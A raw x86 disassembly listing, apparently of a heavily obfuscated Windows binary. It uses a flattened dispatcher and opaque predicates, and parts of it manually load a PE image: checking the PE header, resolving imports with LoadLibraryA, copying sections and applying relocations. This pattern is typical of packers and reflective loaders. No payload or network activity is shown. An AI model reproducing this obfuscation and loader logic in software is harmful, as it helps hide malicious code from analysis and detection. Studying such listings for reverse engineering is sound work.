and ecx, 0x18715ea0
and eax, 0xe78ea15f
or ecx, eax
xor ecx, 0x18715ea0
or edx, ecx
setne al
sete ah
cmp dword [0x504180], 0xa
setge cl
setl dl
mov ch, cl
and al, dl
xor dl, ah
xor ch, ah
and ch, cl
and cl, ah
or cl, al
mov eax, 0x54ddf133
or cl, ch
xor cl, dl
cmovne esi, eax
test cl, dl
mov eax, 0x8e12b5e2
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
cmove eax, esi
jmp 0x401ef0
mov eax, 0x400ea36d
jmp 0x401ef0
mov eax, dword [0x504184]
mov edi, 0xeea39ed3
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x439a9528
mov eax, ecx
and eax, 0x1000020
and edx, ecx
not ecx
and ecx, 0x429a9508
or eax, ecx
xor eax, 0x1000020
or eax, edx
not edx
and edx, 0xbc656ad7
and eax, 0x439a9528
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xebf51128
and eax, 0x140aeed7
or eax, edx
xor eax, 0x140aeed6
or eax, ecx
mov edx, eax
xor edx, 0xba3efd26
mov ecx, eax
and ecx, 0xd0737353
and edx, eax
not eax
and eax, 0x2f8c8cac
or ecx, eax
mov eax, ecx
xor ecx, 0x2a0c8c24
xor eax, 0x10026100
mov esi, ecx
or esi, 0x40410009
and eax, 0x100ae124
and esi, 0xea751c0b
or eax, esi
mov esi, edx
not esi
and edx, 0x158ae3f4
or ecx, esi
and esi, 0xea751c0b
or edx, esi
not ecx
mov esi, 0xeea39ed3
xor edx, eax
or ecx, edx
not edx
and edx, 0x45c102d9
and ecx, 0xba3efd26
or ecx, edx
setne al
cmp dword [0x504180], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
mov eax, 0xc82f33da
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x401ef0
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0x9c], eax
mov eax, 0x275fb6d4
jmp 0x401ef0
cmp byte [ebp - 0xcf], 0
mov eax, 0xa1193621
mov ecx, 0xc51a7165
cmovne eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x550abae0
mov edx, ecx
and edx, 0x440822e0
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x11029800
or edx, esi
xor edx, 0x440822e0
or eax, edx
mov edx, eax
not edx
and eax, 0x51ff6f60
and edx, 0xae00909f
or eax, edx
xor eax, 0xfb0a2a7e
or eax, ecx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x504180], 0xa
mov dh, ah
setge al
setl dl
mov cl, al
and ah, dl
and al, ch
or dh, dl
or dl, ch
or al, ah
or cl, ch
mov bl, dh
xor al, 1
xor bl, cl
or cl, dh
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, bl
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xb4e90985
xor ch, cl
test dl, 1
mov edx, 0x504362fa
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xb4e90985
cmove eax, edx
jmp 0x401ef0
mov eax, dword [ebp - 0x150]
mov eax, 0x21ac6bb4
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x29131c
mov ecx, eax
and ecx, 0x5008000
mov edi, eax
or edi, 0x529931c
and eax, 0xdd268b2a
or esi, ecx
mov ecx, edi
not ecx
and edi, 0xfad66ce2
xor esi, 0x29131c
or ecx, esi
and ecx, 0x529931d
or ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x22d974d5
and edi, 0x22d974d5
and esi, 0xdd268b2a
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0x8ea4c3e5
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe2129ab9
and eax, 0x1ded6546
or ecx, eax
cmp ecx, 0xe2129ab9
sete al
cmp dword [0x504180], 0xa
mov ecx, eax
setge dl
setl ah
xor dl, al
and cl, dl
not dl
and dl, al
xor al, ah
and al, ah
mov ah, dl
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor cl, al
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x41d5cb23
cmovne edx, esi
test al, 1
mov eax, 0x41d5cb23
cmovne eax, edx
jmp 0x40cc49
mov eax, 0x536623e4
jmp 0x401ef0
mov eax, dword [ebp - 0x1c8]
mov ecx, 0x53dfc688
cmp eax, dword [ebp - 0x1cc]
mov eax, 0x26e7987b
cmovb eax, ecx
jmp 0x401ef0
mov ecx, dword [0x504184]
mov edi, 0x914a601c
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x1de53bae
mov esi, edx
and esi, 0xe21ac450
and edx, 0x1eb52014
or esi, ecx
mov ecx, eax
or ecx, 0x1de53bae
and eax, 0xe14adfeb
and ecx, 0x1de53baf
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xe14adfeb
xor eax, 0x1eb52014
mov esi, 0x914a601c
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x504180], 0xa
setge dl
setl ah
mov dh, dl
and ah, cl
and dh, al
xor al, dl
or dh, ah
and dl, al
xor al, 1
xor dh, 1
or al, dl
mov dl, dh
xor dh, al
or dl, al
mov eax, edx
xor al, dh
mov eax, 0x232b8289
cmovne esi, eax
test dh, dh
mov eax, esi
cmovne eax, edi
test dl, dl
cmovne eax, esi
jmp 0x401ef0
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, 0x3628a4c3
jmp 0x401ef0
mov eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x18c]
mov eax, 0xe0271ac7
setl byte [ebp - 0xcc]
jmp 0x401ef0
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0xc0]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb0]
add eax, dword [ebp - 0xb0]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x110], eax
mov eax, 0x8779f303
jmp 0x401ef0
mov eax, dword [ebp - 0x130]
mov ebx, 0xf2f953e8
mov ecx, dword [eax + 0x3c]
mov eax, dword [0x504184]
cmp dword [ecx + section..data], 0x4550
lea esi, [eax + 1]
lea ecx, [ecx + section..data]
mov dword [ebp - 0xa0], ecx
setne byte [ebp - 0xc9]
imul esi, eax
mov eax, esi
andn edx, esi, esi
not esi
and eax, 0xc5643299
and esi, 0x3a9bcd66
or eax, esi
mov esi, eax
xor esi, 0xc5640208
xor eax, 0x3a9bcd66
mov edi, eax
and edi, 0x1174f7
and esi, 0xffee8b08
or esi, edi
mov edi, edx
not edi
and edx, 0xffee8b08
or eax, edi
and edi, 0x1174f7
or edx, edi
not eax
xor edx, esi
or eax, edx
mov esi, eax
xor esi, 1
mov edx, eax
not edx
and esi, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, esi
not edx
and esi, 0xeb3a4bb0
mov edi, edx
and edi, 0x14c5b44f
or esi, edi
mov edi, eax
not edi
and eax, 0xeb3a4bb0
or edx, edi
and edi, 0x14c5b44f
or eax, edi
not edx
mov edi, 0x6981ede6
xor eax, esi
or edx, eax
mov esi, edx
xor esi, 0x1e4da327
mov eax, edx
and eax, 0x24d8126
and esi, edx
not edx
and edx, 0x1c002201
or eax, edx
xor eax, 0x24d8126
or eax, esi
not esi
and esi, 0xe1b25cd8
and eax, 0x1e4da327
or eax, esi
mov edx, eax
not edx
and eax, 0xa3a42f5b
mov esi, edx
and esi, 0x5c5bd0a4
or eax, esi
mov esi, 0xf2f953e8
xor eax, 0x5c5bd0a4
xor edx, eax
test edx, eax
sete dl
setne ah
cmp dword [0x504180], 0xa
setl al
setge dh
and dl, dh
and al, ah
or dh, ah
or al, dl
mov dl, dh
xor al, 1
or dl, al
xor al, dh
mov ah, dl
xor ah, al
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, ebx
test dl, dl
cmovne eax, esi
jmp 0x401ef0
mov eax, 0xe76f39be
jmp 0x401ef0
mov esi, dword [ebp - 0xc4]
mov ecx, esi
not ecx
mov eax, esi
and esi, 0xdfffffff
or eax, 0x20000000
mov edx, ecx
and edx, 0x20000000
mov edi, eax
and edi, 0xf90228ee
and ecx, 0x6fdd711
or edx, esi
or ecx, edi
mov esi, edx
not esi
and edx, 0x6fdd711
or eax, esi
and esi, 0xf90228ee
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x61cc4964
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x9e33b69b
and eax, 0x61cc4964
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x33dd800f
mov edx, ecx
and edx, 0xcc227ff0
or eax, edx
xor eax, 0xcc227ff0
xor ecx, eax
test ecx, eax
mov eax, dword [0x504184]
setne byte [ebp - 0xd2]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0xb67436ca
mov esi, eax
and esi, 0xfffffffe
and eax, 0x498bc935
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x498bc935
mov edi, esi
and edi, 0xb67436ca
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x3608d83c
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x504180], 0xa
setge al
setl cl
mov edx, eax
and cl, ah
xor dl, ch
and ch, al
and dl, al
xor al, ah
or cl, ch
mov ah, dl
xor dl, al
xor al, 1
mov ch, cl
xor ah, 1
xor ch, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0xf7bde917
mov cl, al
xor cl, ch
test al, al
mov eax, 0x3608d83c
cmovne eax, edx
test ch, 1
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401ef0
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + eax*4]
lea ecx, [edx + eax*8]
mov eax, dword [edx + eax*8 + 0xc]
mov dword [ebp - 0xfc], 0x456000
add eax, dword [ebp - 0x98]
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x1b4], eax
mov eax, 0x21bb444c
jmp 0x401ef0
mov eax, 0x3f328763
jmp 0x401ef0
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0x218], eax
mov eax, 0x6c65ccde
jmp 0x401ef0
mov eax, 0x5d530f91
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x652eeb94
and eax, 0x9ad1146b
or edx, eax
mov eax, edx
not eax
and edx, 0xdcfe9b53
mov ecx, eax
and ecx, 0x230164ac
and eax, 0x44040a00
or edx, ecx
mov esi, edx
xor esi, 0x440f8f28
xor edx, 0xb9d070c7
mov ecx, edx
and ecx, 0x12f06057
and esi, 0xed0f9fa8
or edx, 0x1000011
or esi, ecx
and edx, 0xb110851f
mov ecx, esi
xor esi, 0x12f06057
xor ecx, 0xed0f9fa8
or eax, edx
mov edi, esi
or edi, 0xb010850e
mov ebx, ecx
and ebx, 0xaeb70e0
and esi, 0x2a7198cc
and edi, 0xb110851f
or ebx, edi
xor eax, ebx
mov edx, eax
not edx
and eax, 0xbeb70f0
and edx, 0xf4148f0f
or eax, edx
mov edx, ecx
and edx, 0xd58e6733
and ecx, 1
or edx, esi
mov esi, 0x3a644ec7
xor edx, 0x2a7198cd
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x17174fe9
mov edx, ecx
and edx, 0x171001e8
and eax, ecx
not ecx
and ecx, 0x74e01
or edx, ecx
xor edx, 0x171001e8
or eax, edx
mov ecx, eax
not ecx
and eax, 0xab445883
and ecx, 0x54bba77c
or eax, ecx
mov ecx, eax
xor ecx, 0xa8420148
xor eax, 0x408c0090
and ecx, 0xab62e94d
and eax, 0x549d16b2
or eax, ecx
mov ecx, eax
xor ecx, 0xa862814d
xor eax, 0x548004a2
and eax, 0x57806ca2
and ecx, 0xa87f935d
or ecx, eax
cmp ecx, 0xa87f935d
sete dl
cmp dword [0x504180], 0xa
mov ecx, edx
setge ah
mov al, ah
or ah, dl
xor al, dl
and cl, al
not al
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
and dl, al
xor ch, dl
xor dl, 1
or dl, al
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
xor ah, cl
and dl, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7bc930c0
cmovne eax, esi
test dl, dl
mov edx, 0x7bc930c0
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401ef0
mov eax, 0xf9d5cc26
jmp 0x401ef0
mov dword [ebp - 0xa4], 0x10
mov eax, 0x9b0fbc7e
jmp 0x401ef0
mov ecx, dword [0x504184]
mov ebx, 0x5d73710a
mov edi, 0x5d73710a
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x95880840
mov ecx, edx
and ecx, 0x2011013f
and edx, 0x955d88eb
or esi, ecx
mov ecx, eax
xor ecx, 0xb599097f
and ecx, eax
xor esi, 0x95880840
and eax, 0x6aa27714
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xb599097e
and esi, 0x4a66f681
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x385679ea
mov esi, edx
and esi, 0xc7a98615
or ecx, esi
mov esi, eax
xor esi, 0x28027100
xor eax, 0x85098001
and eax, 0xc7a98615
and esi, 0x385679ea
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xa3d3855a
setne al
sete dl
cmp dword [0x504180], 0xa
mov ecx, eax
setge ah
xor al, ah
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x401ef0
mov eax, 0xb5596e27
jmp 0x401ef0
mov eax, 0xcc43f813
jmp 0x401ef0
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
mov eax, 0x68d9c795
jmp 0x401ef0
mov dword [ebp - 0xe4], 4
mov eax, 0xb66801dc
jmp 0x401ef0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0xa0]
add eax, 6
mov dword [ebp - 0x16c], eax
mov eax, 0xb6f23136
jmp 0x401ef0
mov eax, 0xeefbacd
jmp 0x401ef0
mov eax, dword [ebp - 0x1bc]
push dword [eax]
push dword [ebp - 0x1b8]
push dword [ebp - 0x1b4]
vzeroupper
call fcn.00441f20
add esp, 0xc
mov eax, 0xf50ae489
jmp 0x401ef0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0xa0]
cmp eax, dword [ecx + 0x34]
mov eax, 0xb50949b2
setne byte [ebp - 0xcb]
jmp 0x401ef0
mov eax, 0x9b0d1121
jmp 0x401ef0
mov dword [ebp - 0xec], 0
mov eax, 0x73a3a99a
jmp 0x401ef0
mov ecx, dword [0x504184]
mov esi, 0xc32e25bd
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x41141c1
and eax, 0xcbe6ae14
and ecx, 0x3008102a
or edx, ecx
xor edx, 0x41141c1
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe1b9cfa3
and ecx, 0x1e46305c
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x2a5f61b6
xor ecx, 0xd5a09e48
xor edx, 0xd5a09e49
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0xe16a1fb9
mov edx, ecx
and edx, 0xe14217a1
and eax, ecx
not ecx
and ecx, 0x280818
or edx, ecx
xor edx, 0xe14217a1
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb2233b95
and ecx, 0x4ddcc46a
or eax, ecx
mov ecx, eax
xor ecx, 0x10412400
xor eax, 0xacb6dbd3
mov edx, eax
and edx, 0xcb1c93ff
and ecx, 0x34e36c00
or ecx, edx
xor ecx, 0xcb1c93ff
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x504180], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
or al, dl
mov ch, cl
mov edx, eax
not ch
and al, cl
xor dl, 1
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xa58830cb
cmovne esi, eax
test dl, dl
mov edx, 0xc32e25bd
mov eax, esi
cmovne eax, edx
mov edx, dword [ebp - 0xf0]
test cl, cl
cmovne eax, esi
mov dword [ebp - 0x1dc], edx
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xc1f73830
mov esi, eax
or esi, 0x3a080244
mov edx, eax
not edx
and ecx, eax
and esi, 0xbb5e0274
and edx, 0x40a13800
mov edi, ecx
not edi
and ecx, 0x44a1fd8b
or edx, esi
or eax, edi
and edi, 0xbb5e0274
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x3e08c7cf
and eax, 0xc1f73830
or eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x1204d0a7
and eax, 0x8900c860
mov ecx, edx
and ecx, 0xedfb2f58
or edx, 0x10352213
or esi, ecx
and edx, 0x34fd3313
mov ecx, esi
xor ecx, 0xedfb2f58
xor esi, 0x2000084
or eax, edx
mov edi, ecx
or edi, 0x24c81100
and esi, 0x4202048c
and ecx, 0xfffffffe
and edi, 0x34fd3313
or esi, edi
xor eax, esi
mov esi, 0x80f4d0be
mov edx, eax
not edx
and eax, 0x5237269e
and edx, 0xadc8d961
or eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xe604f03
and ecx, 0x709eb0f4
and eax, 0x81010008
or edx, eax
xor edx, 0xe604f03
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd8c03e
and eax, 0xff273fc1
or ecx, eax
mov eax, ecx
xor eax, 0x4b08c35
xor ecx, 0x3044200a
and ecx, 0xbb4d230a
and eax, 0x44b2dcf5
or eax, ecx
mov ecx, eax
xor ecx, 0x4092dc20
xor eax, 0xb0040008
and eax, 0xb42400dd
and ecx, 0x4bdbff22
or ecx, eax
xor ecx, 0x4bdbff22
sete cl
setne al
cmp dword [0x504180], 0xa
setl dl
mov ch, dl
or cl, dl
xor ch, al
mov ah, ch
xor ah, cl
or cl, ch
not ch
and ch, al
or al, dl
xor cl, 1
xor ch, 1
or cl, ah
mov dl, ch
or ch, al
xor dl, al
xor ch, 1
or ch, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
mov cl, ch
xor al, 1
xor cl, 1
or al, dl
mov edx, ecx
mov ah, cl
and dl, ch
xor ah, dl
xor dl, 1
or dl, ch
mov ch, al
xor ch, 1
xor dl, 1
or cl, ch
and ch, al
or dl, ah
mov ah, al
xor ch, 1
xor ah, ch
or ch, al
mov al, dl
xor ch, 1
xor al, 1
or ch, ah
and al, ch
xor ch, 1
and ch, dl
mov edx, ecx
or ch, al
mov eax, 0x129cc5ae
xor dl, ch
test cl, 1
cmovne eax, esi
test ch, 1
mov ecx, 0x129cc5ae
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401ef0
mov eax, 0x9bf149af
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
or esi, 1
mov ecx, eax
mov edi, eax
or ecx, 0xcef2d16
and esi, 0xcef2d17
and edi, 0xf310d2e8
and eax, 0xc2c082ab
or edi, esi
and ecx, 0xcef2d17
xor ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x3d3f7d54
and edi, 0x3d3f7d54
and esi, 0xc2c082ab
or eax, edx
not ecx
or esi, edi
mov edi, 0x93feb5e0
xor eax, esi
mov esi, 0xe0a0a831
or ecx, eax
cmp ecx, 0xffffffff
setne cl
cmp dword [0x504180], 0xa
setl ah
setge al
mov ch, ah
xor ch, cl
mov dl, ch
xor dl, al
xor al, cl
or cl, ah
and al, ah
and dl, ch
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
mov ecx, 0x93feb5e0
or al, ah
xor al, dl
mov ah, al
test al, 1
not ah
cmovne ecx, esi
test ah, dl
cmove ecx, edi
cmovne ecx, esi
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
mov edi, 0x9b978b45
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc4737fd8
and eax, 0x3b8c8027
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x10c8026
xor edx, 0xc4737fd8
xor ecx, 0xc4737fd9
and ecx, edx
and eax, 0xc50cd536
and edx, 0x3af32ac9
or edx, eax
mov eax, ecx
not eax
and ecx, 0x53828299
mov esi, eax
and esi, 0xac7d7d66
or ecx, esi
mov esi, edx
xor esi, 0x12820288
xor edx, 0xc50cd537
or eax, edx
and edx, 0xac7d7d66
and esi, 0x53828299
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xe540d3e7
mov ecx, eax
not ecx
and eax, 0xdc144090
and ecx, 0x23ebbf6f
or eax, ecx
mov ecx, eax
xor ecx, 0x9c144010
xor eax, 0x22838622
and eax, 0x628386a2
and ecx, 0x9d7c795d
or ecx, eax
cmp ecx, 0x628386a2
sete al
cmp dword [0x504180], 0xa
setl cl
mov edx, ecx
xor cl, al
or dl, al
mov eax, 0x9b978b45
mov ch, dl
xor ch, 1
or ch, cl
and cl, dl
xor ch, 1
xor cl, ch
mov edx, ecx
cmovne eax, esi
not dl
test dl, ch
cmove eax, edi
cmovne eax, esi
test cl, cl
cmovne eax, esi
cmp dword [ebp - 0x150], 0
setne byte [ebp - 0xcd]
jmp 0x401ef0
mov eax, 0xbbbb3242
jmp 0x401ef0
mov dword [ebp - 0xe4], 0x40
mov eax, 0x3b798152
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x7f93eaae
and edx, 0x806c1551
or edx, ecx
mov eax, edx
mov ecx, edx
xor edx, 0x806c1550
xor eax, 0x7f93eaae
xor ecx, 0x7f93eaaf
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0xa18f9a10
mov esi, edx
and esi, 0x5e7065ef
or ecx, esi
mov esi, eax
not esi
and eax, 0xa18f9a10
or edx, esi
and esi, 0x5e7065ef
or eax, esi
not edx
mov esi, 0x6981ede6
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0xb3cd6621
and eax, 0x4c3299de
or eax, edx
xor eax, 0xb3cd6621
sete ah
setne dl
cmp dword [0x504180], 0xa
mov cl, ah
setge ch
setl al
xor cl, al
and dl, al
or al, ah
and ch, ah
or dl, ch
mov ch, cl
xor al, 1
mov ah, cl
or al, dl
xor ch, 1
mov edx, ecx
and dl, ch
xor al, 1
xor dl, 1
xor ah, al
or dl, ch
xor dl, 1
or dl, cl
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb08cf1cb
cmovne ecx, esi
test al, 1
mov eax, 0xb08cf1cb
jmp 0x401ee2
mov eax, dword [0x504184]
mov esi, 0xba8fe2f9
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x2dbc3404
and edx, ecx
not ecx
mov eax, ecx
and eax, 0x2dbc3404
or eax, edx
not edx
and edx, 0xd243cbfa
and eax, 0x2dbc3405
or eax, edx
mov edx, eax
not edx
and eax, 0x9e1765e4
and edx, 0x61e89a1b
or eax, edx
xor eax, 0x9e1765e4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9f51a263
and ecx, 0x60ae5d9c
or eax, ecx
xor eax, 0x9f51a263
setne dl
sete ah
cmp dword [0x504180], 0xa
setl al
setge cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov ch, al
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
or dl, cl
and ch, al
mov eax, 0xb5614fd7
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xb5614fd7
cmovne eax, esi
test ch, ch
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x401ef0
mov eax, 0xc5915cbe
jmp 0x401ef0
mov eax, dword [ebp - 0x1dc]
movzx eax, word [eax]
shr eax, 0xc
mov edx, eax
mov ecx, eax
xor ecx, 0xe
not edx
mov esi, edx
and ecx, eax
and esi, 0x600e
and edx, 0xffffbda4
and eax, 0xfffffffb
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 2
xor eax, 0x425b
and esi, 0xd
or ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfad
and ecx, 0xb002
or eax, ecx
xor eax, 0xfad
mov dword [ebp - 0x150], eax
mov eax, 0x34ede603
jmp 0x401ef0
mov eax, 0x4612f637
jmp 0x401ef0
cmp eax, 0x706e0f04
jne 0x401ef0
mov esi, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.004413b0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret